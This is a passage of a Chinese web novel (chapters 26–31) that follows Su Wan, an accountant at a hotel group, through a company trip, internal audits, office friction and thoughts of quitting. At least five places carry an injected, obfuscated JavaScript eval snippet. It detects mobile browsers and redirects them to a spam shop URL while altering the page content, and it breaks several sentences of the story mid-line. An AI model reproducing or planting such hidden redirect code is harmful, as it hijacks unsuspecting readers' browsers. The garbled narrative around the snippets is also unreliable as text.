有一回,李敏看着她做的那一份报表,抬起头说:“行了,你现在出去,能独当一面了。” 苏晚愣了一下,不知道该怎么接。 “好好干。” 那句话苏晚记了很久。 26. 旅游 十一月下旬,李敏打来电话。 苏晚刚从省会大学结束税务师考试走出来:“李姐。” “后天有空吗?”李敏的声音听起来心情不错 “有,怎么了?” “老板安排去云南旅游,一星期。”那边顿了顿,“你算一个。” 苏晚愣了一下:“我?” “对,你。还有几个老员工,加上校企合作的老师们一块儿去。”李敏笑了笑,“具体行程我发你微信,你准备准备。不过,现在第一要求,你的身份信息得发我。” 挂了电话,苏晚盯着手机看了半天。 云南? 微信响了,朱澈发来信息:李姐一早上在找你。 “我知道。”苏晚想了想,“我接到李姐的电话了,说是去云南旅游,找我拿身份信息。” 苏晚点开李敏发来的行程:昆明—大理—丽江,六天五晚,还要爬玉龙雪山。 苏晚把行程看了两遍,放下手机,又拿起来看了一眼。 去就去吧。 在机场,苏晚看到了主街商务型酒店的小张 “苏姐。”小张跑过来跟苏晚打招呼,“那边是校企合作的那几位老师。” 苏晚转头,长时间呆在园区,虽然酒店园区两地来回跑,对于酒店的业务难免有所生疏。看着小张熟悉酒店的业务,她有点羡慕。苏晚听酒店同事无意中说过,小张是市酒店店长的亲戚。 苏晚跟着走,跟着看,跟着吃,什么都不想,纯粹地玩。 苏晚很喜欢云南的天空,白云蓝天,很透很亮。她想起了很多以前的事。也在想这次为什么出门来这里的原因。 不是为了玩,或者说,不全是。 这趟出来的人,她大概能看出来是几拨。一拨是校企合作的老师,人家来是真的学习参观,行程里有两天是安排去昆明和丽江的五星级酒店交流的。一拨是酒店的领导层,老板带队,那几个总监也跟着,人家也是去学习的。一拨就是剩下的老员工了。 苏晚是纯玩,也许她猜到了剩下的这批老员工不单纯玩,至少名单上的人是老板选定的。老员工,工龄长的,客房部餐饮部前厅部干了十年的—都是些老人。苏晚算了一下自己,跟着老板也有7年左右了,在这些人里也是差不多的,至少四年前主任有提醒过自己。 第四天爬玉龙雪山。天还亮透就出发。苏晚靠窗坐在大巴上,看着外面的天一点点泛白,山影一点点清晰。一个多小时的车程,到山脚下的时候,太阳刚刚升起来。 缆车站在半山腰,要坐大巴上去。盘山路绕了一圈又一圈,海拔越来越高,苏晚的耳朵开始嗡嗡响。旁边坐着个老师:“你没事吧?” “没事。”苏晚说。 缆车从半山腰出发,往上升的时候,苏晚攥着扶手,看着窗外。 下面是一片灰白的石头和零星的植被,再往下是山谷,看不清底。往上,是雪。 雪线在三千多米的地方,过了那条线,就全是白的了。石头是白的,山是白的,天是蓝的,蓝得晃眼。 苏晚下车的时候,脚有点软。不是害怕是缺氧。她站在平台上,抬头往上看,山顶还在上面,栈道沿着山脊蜿蜒上去,一直到看不清楚的地方。 几个同事倒是兴致高,裹着租来的衣服往栈道上走。 苏晚站了一会儿也跟着上去了。走到一半便停下来回头看。 她就站在那儿,看了很久。 风呼呼地吹,吹得脸疼。但她不想走。 “嘣—”一声响,苏晚被人用雪砸了,回头看去,好嘛!是酒店的同事小林。 “站在那儿干嘛!”小林手里还有一团雪,“来嘛!看雪景玩起来。” 苏晚呵呵笑,有点缺氧头晕,也有可能是此时的心情比不上前两次的游玩心情。 “能帮我们拍张合照?”旁边有对闺蜜把相机递过来,“我们第一次来,这地方,值了。” 苏晚点点头;“我能留一张你们的合影?” “可以。” 苏晚将这张合影发在朋友圈里,朋友们都在调侃: “失踪人口回归了” “呦—怎么不是苏大美女自己的?” “这是又出去游玩了。”...... 回到酒店的时候,苏晚头晕得厉害了,直接瘫在床上。同房间的小林没注意到苏晚的异样, “晚晚,今天玩得开心不开心?雪景好不好看。” “好看。”苏晚说。 “我也觉得好看。其他同事也说好看。”小林站在洗浴间,“晚晚,你听说了吗?这次出来游玩的这批人,是老板有意让一些人入股。” 苏晚没接话。 “你知道吗?”小张没等到苏晚的回话,伸头一看,苏晚睡着了。 苏晚迷迷糊糊地听到小张说着酒店这次出行的目的,太累了,不想开口。 苏晚将这几天住的酒店的专属打包袋整理起来找了个特定的角度拍了个朋友圈,小林看到连连称奇。车上周卉看着上来的苏晚:“你的纪念方式总是出奇制胜,别出心裁。” 转战下一个景点的途中,老板趁着休息区停靠的间隙说出了此行的一个目的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不是,我们大家都让店家直接邮寄到家。”李敏看向苏晚,“你也可以多买点其他的特产,比如—苹果......” “我知道,”苏晚抬头,情绪不是很高涨,“我想自己拿回去,和前几次一样的想法,觉得更有诚意。” 周卉看着苏晚好一会儿,点点头,走了。 飞机起飞的时候,苏晚靠窗坐着,脑子不停的转。 还有那些她看出来,但没说出口的事。 苏晚把座椅调低了一点,闭上眼睛。 飞机穿过云层,阳光从舷窗照进来,暖的。 27. 你会有一枚的 那年冬天,疫情来得悄无声息,又铺天盖地。 先是新闻里报,再是小区封控,然后是街上的人越来越少,越来越沉默。苏晚有天下班路过药店,看见门口排着长队,人人都戴着口罩,露出的一双眼睛里看不出什么表情。 酒店业是第一批倒下的。 春节后本该是旺季,结果退订的电话一个接一个,大堂冷清得能听见空调的风声。 园区那边更安静。厂房里还有几家租户在开工,但办公楼这边几乎没人来了,朱澈没有太多的约束,偶尔在走廊里碰见,也只是点点头。 三月底,李敏忽然打来电话。 “下个月开会,全集团的财务都去省城那个酒店。” 苏晚愣了一下:“开什么会?” “学习交流会,”李敏说,背景音里有翻纸的声音,像是在找什么文件,“老板定的。说是趁现在闲,都学学,长长本事。” “好的。”苏晚有点兴趣。 四月,省城。 这是苏晚第二次参加这么大规模的财务会议。第一次是两年前。那次的发言代表还提前私下联系过苏晚,询问过该选什么样的主题。大概那几年苏晚太好学了,在酒店里也是小有名气的。 这回不一样了。 人更多了,说明老板这几年发展得还不错。苏晚很开心。这是第二次了。能够看着自己工作过的企业发展得越来越好,苏晚自己也很开心。当然了,同时一起成长带来的心情好更是好的—这点她没说出口,只是自己想想。 学习交流会设在酒店三楼最大的会议厅,千人宴会厅。苏晚进去的时候,里面已经坐了大半人,嗡嗡的说话声像潮水一样涌过来。她看见不少熟面孔。她没往前凑,找了个靠边的位置坐下。 旁边坐着个男的,不认识,冲她点了点头。苏晚也点点头。 李敏在前面忙前忙后,看见她进来,远远地冲她比了个手势,意思是让她坐前面去。苏晚摇了摇头,指了指手里的本子,意思是就这里也挺好的。李敏没再坚持,只是瞪了她一眼,那眼神苏晚懂:你呀你。 会议开始后,主持的是个帅小伙,口才很好,说话带手势。 然后是老板、省城酒店店长徐霞,他们讲到了酒店的发展史,讲到了酒店未来的品牌规划...... 苏晚想起了那年搬家至四楼整理过程中,李敏从办公桌的中间抽屉里拿出来的那几本酒店宣传册。当时苏晚还问过李敏:“李姐,这几本册子有新出的,有有点历史感的,里面记载着什么内容啊。”当时的李敏递给了苏晚:“可以自己看看。” 苏晚当时就现场翻开,书里面的内容震撼到了她,那是酒店的过往史,是酒店来时路,是老板的青春年华,也有着酒店员工的珍贵回忆。 苏晚其实对于李敏能收集到更有年代的宣传册还是蛮感动。那些册子,新出的好找,旧的早该扔了。但李敏留着,一本一本,收在抽屉里,像收着一家人的老照片。 “李姐有心了。”她当时说。 苏晚记得各家酒店的开业时间。不是刻意记的,就是记住了。那些年份在她脑子里排着队,像一串数字密码。 苏晚是带着笔和本子用心得记,不是因为内容多新鲜,是因为她想听。 不知何时,她用心得记着,她一直在做具体的事,理账、跑工地、做预算、跟租户谈合同。 她知道酒店在扩张,知道老板的努力,但那些都是碎片,拼不成一张图。 今天是第一次,有人把整张图摊在她面前。 下午是分组讨论。苏晚分到的那组十来个人,围着圆桌坐。大家轮流发言。 轮到苏晚的时候,她想了想:“园区那边的情况不太一样,得谈。” 讨论结束的时候,已经是傍晚了。临走前,苏晚看到老板和其他领导们走向她们这桌。大家又坐回去。 老板在主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437393|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位坐下,扫了一圈:“随便聊聊,今天有什么感想?” 挨个说。 有人说收获很大,有人说认识了很多新朋友,有人说回去要好好消化。 轮到苏晚的时候,她沉默了几秒钟。 “我想说那枚徽章。”她说。 会议室里安静了一下。 “什么徽章?”有年轻员工小声问旁边的人。 “二十周年的那枚金章。”苏晚说,“现在市酒店的保险柜里还有两枚,当年我想要一枚,现在我还是想说,我想要有一枚。” 有人轻轻笑了,笑声很短,像没忍住。不知道是笑她天真还是笑她敢说。 苏晚没管,继续说。她的声音还是那么平,像在报账:“如果我能做得足够好,足够努力,够优秀—我想拥有一枚。” 会议室更安静了。 朱总看着她,没说话。 旁边有人想说什么,被他抬头止住了。 朱总看了她好几秒钟,然后点了点头,脸上有点笑意,不太明显,但确实是有的。 “你会有一枚的。” 散会的时候,大家都往外走。椅子推得吱呀响,有人在说“晚上吃什么。”苏晚收拾好东西,刚要站起来。 “听到没?”市酒店店长拍了拍苏晚的肩膀,眼睛里带着笑:“你会有一枚的,加油。” 说完就走了。 走廊里的灯光是暖黄色的,照得人脸上有点发烫。有人在旁边经过,说着话,笑着,脚步声杂沓。苏晚站了好一会儿,才想起来往电梯口走。 电梯来了,她跟着人群挤进去,站在角落里。 门关上,往下走。 电梯里有人说话,有人在看手机,有人在对着镜子整理头发。苏晚谁都没看,就看着电梯门上自己的影子,模模糊糊的,看不太清。 电梯在往下走。一层,二层,三层。 影子里的人也在看着她。 28. 念头 苏晚接到李敏电话的时候,正在园区办公室敲键盘。电话响起的那一刻,她看了一眼,接起来。李敏的声音从那头传过来,干脆利落:“下周一开始,集团内部审计自查,两大区域互查。你带上主街商务型酒店和园区的所有资料,去市酒店待一周。” 苏晚愣了一下:“我也去?” “对”李敏说,“互相学习交流嘛。” 苏晚想了想,说好。 窗外天气很好,有车开过去扬起一阵灰。她看着那阵灰落下去,心里隐隐有点期待。 这是她第一次参加这种活动。 周日晚上,她把资料整理好,装了整整两个纸箱。第二天一早,打车去市酒店。 三月底的天已经有点暖了。苏晚坐在后座,看着窗外一略略过的街景,心想,这一周应该不会太难。 刚下电梯拐弯处,抬头看到远方的背影,有点熟悉。看着她拐上行政办公室楼梯的余光—小程—程雨薇。 苏晚刚来酒店时的同事,后来调去省会酒店。 苏晚将箱子放在走廊处,去找了李敏问具体在哪个房间内审。李敏让小苏带苏晚去会议室见省会酒店的同事们。 一进门,程雨薇向她点了点头。 “好久不见。” “好久不见。” 程雨薇笑了笑,嘴角弯起来的弧度跟以前一样,但眼睛里没有笑,像隔着一层玻璃。 “这次是我主查你负责的那两家的工作。” 苏晚点点头:“行,有问题你直接说。” 程雨薇笑了笑,没接话。她转身回到座位,把面前一摞资料挪了挪,空出一块地方,拍拍椅子:“坐这儿吧,方便。” 苏晚坐下来。 苏晚想起了审计刘姐。她查账的时候,每一张单据都要翻来覆去看好几遍,问的问题全是那种—你知道答案,但你就是答不上来,因为你从来没想过有人会问这个。比如“这个报销单的审批流程为什么比规定时间晚了两天,”比如“这个月的摊销表和上个月对不上,是因为跨期还是调账。” 程雨薇的风格,和刘姐很像。 苏晚站在那儿,心里咯噔了一下。她低头看着桌上自己的资料,第一本已经被程雨薇抽走了。 苏晚摇了摇头,希望脑子清醒点。她告诉自己,别多想就是正常的工作。 程雨薇坐在苏晚的对面,翻开第一本,开始问。 第一个问题很简单,第二个问题也简单。第三个问题,还是简单。 但苏晚渐渐觉得不对劲。 那些问题,程雨薇明明知道答案。有的数据是系统里直接能导出来的,有的问题前一个小时才问过。 程雨薇听完,点点头。 中午吃饭的时候,程雨薇和省会酒店的同事坐一起,和苏晚她们隔着五六米,谁也没看谁。 下午,程雨薇偶尔抬头问一句:“这个月的摊销你们怎么做的?” 苏晚解释了一遍。计提、分摊、结转,从头到尾。 程雨薇听完,点头,低头记。 苏晚等了一会儿,没等到下一句。 “有问题吗?”苏晚问。 程雨薇抬头看她,好像没听清:“什么?” “摊销,有问题?” 程雨薇摇摇头:“没,我就了解一下。” 下班时,苏晚给李敏发了条微信:“今天的内查,还行。” 李敏回了个表情,大拇指。 第二天早上,苏晚准时到会议室。程雨薇已经在了,面前摊着资料,看见她进来,点了点并没有。 继续。 问题还是那些问题。但今天的感觉更不对了。程雨薇问的问题,有些明显是已经问过的。苏晚答了,程雨薇点点头,过一会儿又问一遍。 苏晚忍住了。 继续。苏晚忽然:“这个问题昨天问过了。” 程雨薇愣了一下,然后笑了笑:“是吗?我记一下。” 她低头在本子上写了几个字。她的字很少,一笔一划的,苏晚微侧着也看不清。 第三天同此。 第四天同此。 然后就没有然后了。 苏晚好奇她在纸上记得到底有什么。 第五天,苏晚忍不了,她趁着程雨薇去倒水的时候,往她本子上瞟了一眼。密密麻麻的字,有的下面画了横线,有的打了问号,有的用红笔圈起来,但那些字、数字 、符号,连在一起,她看不懂。 苏晚有点心累,桌上那些报表上的数字忽然变得有点模糊。她眨了眨眼睛,数字又清楚了。她想找个人说说话。 她拿起手机,给宋夏发了条微信:“在吗?” 过了一会儿,宋夏回:“外勤,和主任在外面跑,怎么了?” 苏晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437394|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着那条微信,打了几个字,又删了。最后回:“没事,你忙。” 她把手机扣在桌上,继续陪同程雨薇看资料。 每天都一样,程雨薇在问,苏晚答。程雨薇记,苏晚等。程雨薇什么都不说,苏晚什么都等不到。 有时候苏晚觉得是不是想多了。也许程雨薇就是这样的人,公事公办,不闲聊,不废话。也许复复的问题只是因为她记性不好,也许那些不反馈只是因为她还在整理,等最后一起说。 也许。 第七天的上午,她说:“我问完了。” 程雨薇没说话,开始收拾自己的东西。 最后半天,所有人集中在会议室做总结。 李敏和省会酒店领队领导就午休时间和前几晚的审查总结做最后的问题发现更正完善总结。 她说苏晚是第一回参加,她说园区那里有些科目设置得不太合理,回头要调整。她说小程这边反馈的问题苏晚要重视,她说...... 苏晚坐在后排,听着李敏她说她说。 她不知道自己是什么表情。她只觉得脸上有点僵,像被风吹了很久,冻住了。 散会的时候,大家站起来往外走。椅子腿在地上刮出刺耳的声响,有人说着“辛苦了”“下周见。”苏晚站在窗外,看着人群散开。 苏晚讪讪走出酒店。门外的风有点凉,她站在台阶上,看着外面车来人往的,她想起了自己的年龄。 那天晚上,躺在床上,那一周的事像放电影一样,在她脑子里过了一遍。 日子照常过。 那一周的事,她没再跟任何人说。李敏没再问,她也没再提。 一个月后,苏晚在街上路边碰见了主街商务型酒店的店长周瑶。 “上次自查的事”周瑶闲聊,“听说你是和小程对接的。” 苏晚点点头。 “小程做事是那样的。”周瑶看着苏晚的脸色,声音忽然低了一点,“你知道吗?有些时候,不是你的问题。” 苏晚站在那儿,太阳晒着半边脸,有点烫。 “没事,你慢慢就知道了。” 那天晚上,苏晚坐在窗前。外面是城市的灯光,一点一点的,密密麻麻。她看着那些光,想起周瑶说的话—“你慢慢就知道了。” 知道了什么? 她不知道。 她想换工作了。 29. 冲突 疫情发生后,苏晚的一系列非货币福利被停止发放,她去问过朱澈一次,朱澈靠在办公桌边上,手里转着支笔,反问她:“这些东西,说实话,有也行没有也行,你自己怎么看?” 苏晚站在那儿,一下子不知道该怎么接话。她看着朱澈的眼睛,想从他脸上找出点什么—一点暗示,哪怕一点情绪也好。可是没有。朱澈就那样看着她,像真的在等她的答案。 后来她就不问了,不给就不给吧,她跟自己说。她把自己缩回工位了,该干嘛干嘛,假装从来没惦记过那些东西。 十月底的太阳从窗户斜进来,照得键盘发光。苏晚眯着眼睛,看着屏幕,敲着键盘。 门开了又关上,带进来一阵风。 “这周李姐不在酒店。”朱澈走到自己办公桌边上,随口说了一句,“她带宋夏她们去省会查账去了。” 苏晚手指顿了一下。 查账。一年两次,雷打不动。春天是省会来市里查,那时候在市酒店会议室呆了一周,被问得夜里睡不着觉,翻来覆去地想那些凭证到底哪里不对劲。明明去年春天她还是被表扬的那个人,明明干的都是一样的事,怎么今年就到处是窟窿? 秋天该市里去省会了。去年秋天是周卉带队,那时候她正忙着园区的厂房建设,脚不沾地,根本没顾上想这事。今年轮也该轮到她了,她悄悄盼了好几个月—想去看看省会的账是怎么做的,想看看那些她怎么也理不清的科目,别人是怎么记得明明白白的。 朱澈没再说话。苏晚也没接茬。她低下头接着敲键盘,敲得比刚才慢一点。 手机在桌角震了一下。 财务群,程雨薇发的一条链接,什么都没说。苏晚知道那是开春自查时的一个问题所在—关于资金安全问题。当时被拎出来说过,这都大半年了,程雨薇还在纠结的? “雨薇又在发那个。”苏晚把手机往朱澈那边推了推,“她还是不放心。” 朱澈看了一眼屏幕,又收回目光。“没关系。” 苏晚看着朱澈,想问他,真的可以不在乎吗?你是股东,你出面说一句不比谁都强?可她张了张嘴,什么都没问出来。 苏晚和李敏打了电话。 李敏在电话那头笑了一声:“没事,别瞎想。” 苏晚挂了电话,坐在椅子上发了一会儿呆。窗外有车开进来,尘土扬起来又落下去。 她没等到通知。 宋夏她们从省城回来的那天,苏晚正好去酒店报销往来账。她站在财务室门口,听见里面的人在说话。 “.....你是不知道,人家省会的凭证,那叫一个清楚,每一张附件都整整齐齐的.....” “咱们这边的呢?我看园区那边.....” “嘘—” 苏晚很难过。 后来她跟朱澈说,酒店那边的系统学习,她也想去。她说“不能因为我人不在酒店就把我给忘了。” 朱澈说:“学习可以自学的,不用一直靠外力。” 聚餐那天是周五晚上,原部门的同事攒的局。 火锅热气腾腾的,有人涮着毛肚,有人喝着啤酒,气氛挺热闹。苏晚夹了一片牛肉,还没放进嘴里,旁边的人就凑过来了。 “哎,苏晚,你去园区那边,是参股了吧?” 苏晚愣了一下:“没有啊。” “没有?”那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437395|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情变了变,跟对面的人交换了一个眼神,“那你图什么啊?” 苏晚没说话。 她能感觉到那些目光,像火锅的热气一样,在她脸上扫来扫去。她低头吃肉,假装没看见。 那天晚上回去,她躺在床上,盯着天花板,一直看到凌晨两点。 她不知道自己是什么时候睡着的,只知道醒来的时候,枕头湿了一块。 第二天晚上,她把手机里的所有跟酒店有关的人都删除了。 所有领导 同事 原酒店省会酒店股东所有人的微信。 两天后,手机响了。 宋夏。 她接起来,没说话。 “苏晚?”宋夏的声音有点急,“你是什么情况?删了我们所有人的微信。” 苏晚盯着电脑屏幕,屏幕上是那份没录完的付款凭证。 “今天主任问我,我是懵的。”宋夏说,“她跑了酒店上下,除了股东没有问,其他人都问一遍,‘苏晚把你们删了没有?’” 苏晚没说话。 “主任说咱俩关系好,让我问问你。”宋夏顿了顿,“李姐,也怒了。” “嗯,”苏晚的声音很轻,轻到自己都快听不见,“我把所有人都删了。” 她盯着屏幕,那串数字又模糊了。 “晚上一起吃饭吧。”宋夏说。 “好。” 挂了电话,她继续录单子。 朱澈推门进来的时候,她没抬头。 “晚上一起吃饭。”朱澈说,“宋夏刚和我打电话。” “嗯。” 她看着屏幕,手指在键盘上停了一会儿,然后继续敲下去。 30. 农家乐 农家乐在城郊。院子挺大。 苏晚下车的时候,宋夏已经到了,站在院子门口跟谁打电话。看见苏晚,她抬手晃了晃,嘴里还在说着什么,眉头微微皱着。苏晚没过去,站在车旁边等。 朱澈的车跟在后面。朱澈和他的朋友一起。朱澈冲苏晚点点头,也没说话,领着那个男的往里走,路过她身边的时候说了句:“先去点菜。” 苏晚嗯了一声,站在原地没动。 宋夏挂了电话走过来。她上下看了苏晚一眼,笑了笑:“瘦了?” “没有。”苏晚说。 “进去吧,外面凉。”宋夏往院子里走,苏晚跟在旁边。葡萄架底下摆着几张木头桌子,覆着那种红白格的塑料布,被风吹得边角翘起来。院子角落蹲着一只猫猫。宋夏的朋友—一个女孩,苏晚没见过—蹲在那儿,伸着手逗猫,猫爱搭不理的。 宋夏领着苏晚在靠窗的桌子坐下来。 “最近怎么样?”宋夏问。 “还行。”苏晚说。 宋夏看了她一眼,没追问。她端起桌上的茶壶,给苏晚倒了一杯,又给自己倒了一杯。“这里的菜口味还算不错。我上次来吃过,”她说,“等会可以多吃点。” 苏晚点点头。 她们聊了几句吃的。宋夏说哪家的水果园开了,可以自己去摘,就是贵;说她妈前段时间腌了萝卜干,脆得很,下次给苏晚带一点。苏晚听着,偶尔应一声,眼睛看着窗外的葡萄架。 猫猫终于被那个女孩逗得不耐烦了,站起来换了个地方,尾巴竖得高高的。 朱澈和他那个朋友从屋里出来,手里拿着菜单。朱澈路过她们桌边,停了一下,对宋夏说:“点了几个菜,你看看还要加什么。” 宋夏摆摆手:“你们定就行。” 朱澈点点头。他那个朋友跟在后面,经过的时候看了苏晚一眼,目光停了一下,又移开了。 吃完饭,那个女孩说有事,先走了。宋夏站起来,看着苏晚:“走走?” 苏晚点头。 她们从院子后门出去,是一条窄窄的水泥路,沿着田埂往前延伸。 宋夏走得不快,苏晚跟在旁边。风从田野那头吹过来,带着一股干草的气味。 “怎么回事?”宋夏开口了,声音很平,“删人。” 苏晚沉默了一会儿,看着前面的路。 “我也不知道怎么说。” “想怎么说就怎么说。” 苏晚又沉默了一会儿,然后开口了。 她没说委屈。但她说的每件事,都在说委屈。 宋夏听着,没打断。她走路的节奏没变,目光看着前方。 “我知道说这些挺矫情的。”苏晚说,声音低下来。 宋夏没接话。 她们走过了那片杨树林,路变宽了一点。 “你想怎么样?”宋夏问。 “想辞职。”苏晚说。 宋夏看了她一眼,继续往前走。 “条件够吗?” 苏晚知道她问的是什么。她们以前聊过这个—什么情况下该辞职。 钱不到位。 没有成长。 “我没有成长。”苏晚说。 她们又走了一段。远处有两个人影。顺着另一条田埂路往这边走。苏晚眯着眼睛看了一眼,是朱澈和他那个朋友。 她们没有迎上去。宋夏停下来了,站在水塘边上,看着水面。 “你每年这个时候都要闹一回。”宋夏说。 苏晚张了张嘴,没说出话。 “合同快到期了,你就想走。”宋夏的语气很平,像在陈述事实,“一年一闹。主任都习惯了。” 苏晚想说什么,又咽回去了。 “三天一小闹,五天一大闹。”宋夏说,嘴角动了动,不知道是不是笑,“她说的。” 苏晚看着水塘,没吭声。 朱澈他们走近了,隔着几十米,能看见人影。他们没往这边来,拐上了另一条路,往反方向走了。 “想清楚。”宋夏说,“真想走,就真的走。别又留。” 苏晚看着那两个人影越走越远,没有说话。 第二天上班,苏晚在工位上坐了半个小时,什么都没干。屏幕亮着,是那张没录完的凭证,数字在眼前晃,她看不进去。 朱澈推门进来的时候,她没抬头。她听见脚步声停在自己旁边。 “确定要走?” 苏晚抬起头。朱澈站在那儿,看着她,脸上没什么表情。 苏晚点头:“嗯。” 朱澈沉默了几秒钟。他拉了旁边一把椅子,坐下来。 “老板让我留你。”他说。 苏晚愣了一下。 “老板的原话。”朱澈说,“能留就留。” 苏晚看着他,想从他脸上找出点什么—玩笑?任务?什么都行。可是没有。朱澈就那样看着她,像昨天、前天、大前天一样,像什么都没发生一样。 她想起这几年的经历。 她低下头,看着键盘。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437396|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我考虑一下。”她说。 朱澈站起来,拍了拍椅背,走了。 门关上。 苏晚盯着屏幕,那串数字又模糊了。 下午,朱澈叫她。 “走一趟,”他说,“市酒店。” 苏晚看着他。 “周卉在。”朱澈说,“去认个错。” 苏晚张了张嘴,想说什么。可是话到嘴边,变成了一句:“好。” 车是朱澈开的。一路上没怎么说话。 周卉在办公室。看见他们进来,她靠在椅背上,笑了一下。 “呦,”她说,“又变了?” 苏晚站在那儿,不知道说什么。 “删人的时候,”周卉问,“你是连老板的微信也删了吗?” “我没有老板微信”苏晚小声嘀咕。,“打电话不是更直接。” “一天一变,”周卉说,“本事不小。” 苏晚低着头。 “李敏那儿,”周卉说,“自己去道个歉。” 苏晚顿了顿,点点头。 她们去财务室。李敏在打电话,看见苏晚,目光扫过来,又移开了。苏晚站在门口等,等李敏挂了电话,走过去。 “李姐。”她说 。 李敏没看她,低头翻凭证。 “对不起。”苏晚说。 李敏翻凭证的手顿一下。没抬头,也没说话。 苏晚站了一会儿,退出去了。 晚上有饭局。老板组的,请股东。 周卉安排苏晚去。 包厢在二楼,很大,一张圆桌坐了十几个人。苏晚找了个角落的位置坐下,安静得很。菜一道一道上来,酒一杯一杯倒,周围的人说话,笑,碰杯。她听着,偶尔夹一筷子菜,嚼得很慢。 老板来敬酒,苏晚站了起来老板端着酒杯,挨个敬。走到苏晚旁边的时候,他停了一下,看着她。 苏晚端着酒杯,手有点抖。 “老板。”她说。 老板看着她,没说话,等着。 “谢谢您。”苏晚说,声音有点涩,“那年,是你把我招进来的。” “谢谢您的知遇之恩。”她说。 眼眶热了,她低下头,看着杯子里的酒。 老板拍了拍她的肩膀,没说话,喝了酒,走了。 她坐下来,周围的人还在说话,笑,碰杯。 她想起了进酒店的那年。 眼眶还是热的。 她没抬头,也没让眼泪掉下来。 31. 好好合作 又是一年春暖花开。 苏晚站在餐厅门口等朱澈取车,三月的午后阳光从梧桐叶的缝隙里漏下来,落在她肩膀上,暖暖的。 朱澈的车停在她面前的时候,阳光正好打在前挡风玻璃上,反射出一片白。 她拉开车门坐进去,车里有淡淡的薄荷味。车子驶出酒店,汇入主路的车流。朱澈握着方向盘,目视前方,忽然开口: “新的一年了,我们好好合作。” 他说话的时候没有看她,语气很平常,像在说一件早就该说的事。苏晚看着车窗外不停后退的街景,行道树一棵一棵被甩在身后,她说,好。 她知道“合作”是什么意思。 入职这么久了,从酒店至园区,她是他的下属,她也记得李敏的话“多敬着他点,以他为先。”那时候李敏说这话的时候,语气里带着过来人的通透,像在教她一个心照不宣的规矩。她自己知道现在的情况,知道朱澈在老板面前替她挡过什么,也知道酒店上下那些欲言又止的眼神。 只是“合作”这两个字,还是让这个下午变得有些不一样了。 三月中旬朱澈摔了一跤。 那天苏晚正在做季报,手机响了,是朱澈的微信电话。接起来,他的声音比平时低一些:“我这两三天不进园区,有什么事情你自己处理,觉得很重大的事情你再联系我。” “好。”苏晚说。 两三天后,苏晚又接到朱澈的信息,还需要晚段时间回园区,苏晚说好,没有八卦的问为什么。 苏晚照常上班。园区办公室窗外是一大片草坪,那两棵香樟树比刚接手园区时长得更茂盛了,树冠遮出好大一片阴凉。有时候对着电脑眼睛酸了,她就盯着那两棵树发呆,看叶子一天比一天绿,看风吹过的时候树梢轻轻晃动。 她没问朱澈怎么了。他不说,她就不问。 周六早上,宋夏打电话来。 “你知道你家主任的家人走了吗?”宋夏的声音从听筒里传来,带着点小心翼翼的试探,像怕惊着什么,“他有请你去他家吗?” 苏晚愣了一下,说不知道,没有。 挂了电话她坐在办公室,窗外的阳光落进来,在地板上切出整齐的一块。光柱里有细小的灰尘缓慢飞舞。她想起朱澈上周回微信的时候,说的是“没事。” 脚是没事,但父亲有事。 他没说,她也不知道。 后来她想过,他为什么不说。答案是显而易见的—他们之间还不到说这种事的关系。“合作”,只是合作。这两个字划出的边界,比任何规定都清晰。 十月份,一年一度的内审开始了。 李敏通知她的时候,语气很寻常,像在说今天食堂吃什么:“和往年一样,要在市酒店陪着接受内部审查账目,为期一周。” 苏晚在市酒店行政办公室见到林媛的时候,有一瞬间的恍惚。 林媛穿着藏青色的西装套装,剪裁合体,脚上是双三厘米左右的细跟鞋,整个人比一年前瘦了些,也干练了些。看到苏晚的时候,她笑了笑,笑容和那辆大巴上的一样,说苏晚,又见面了。 苏晚想起来了。 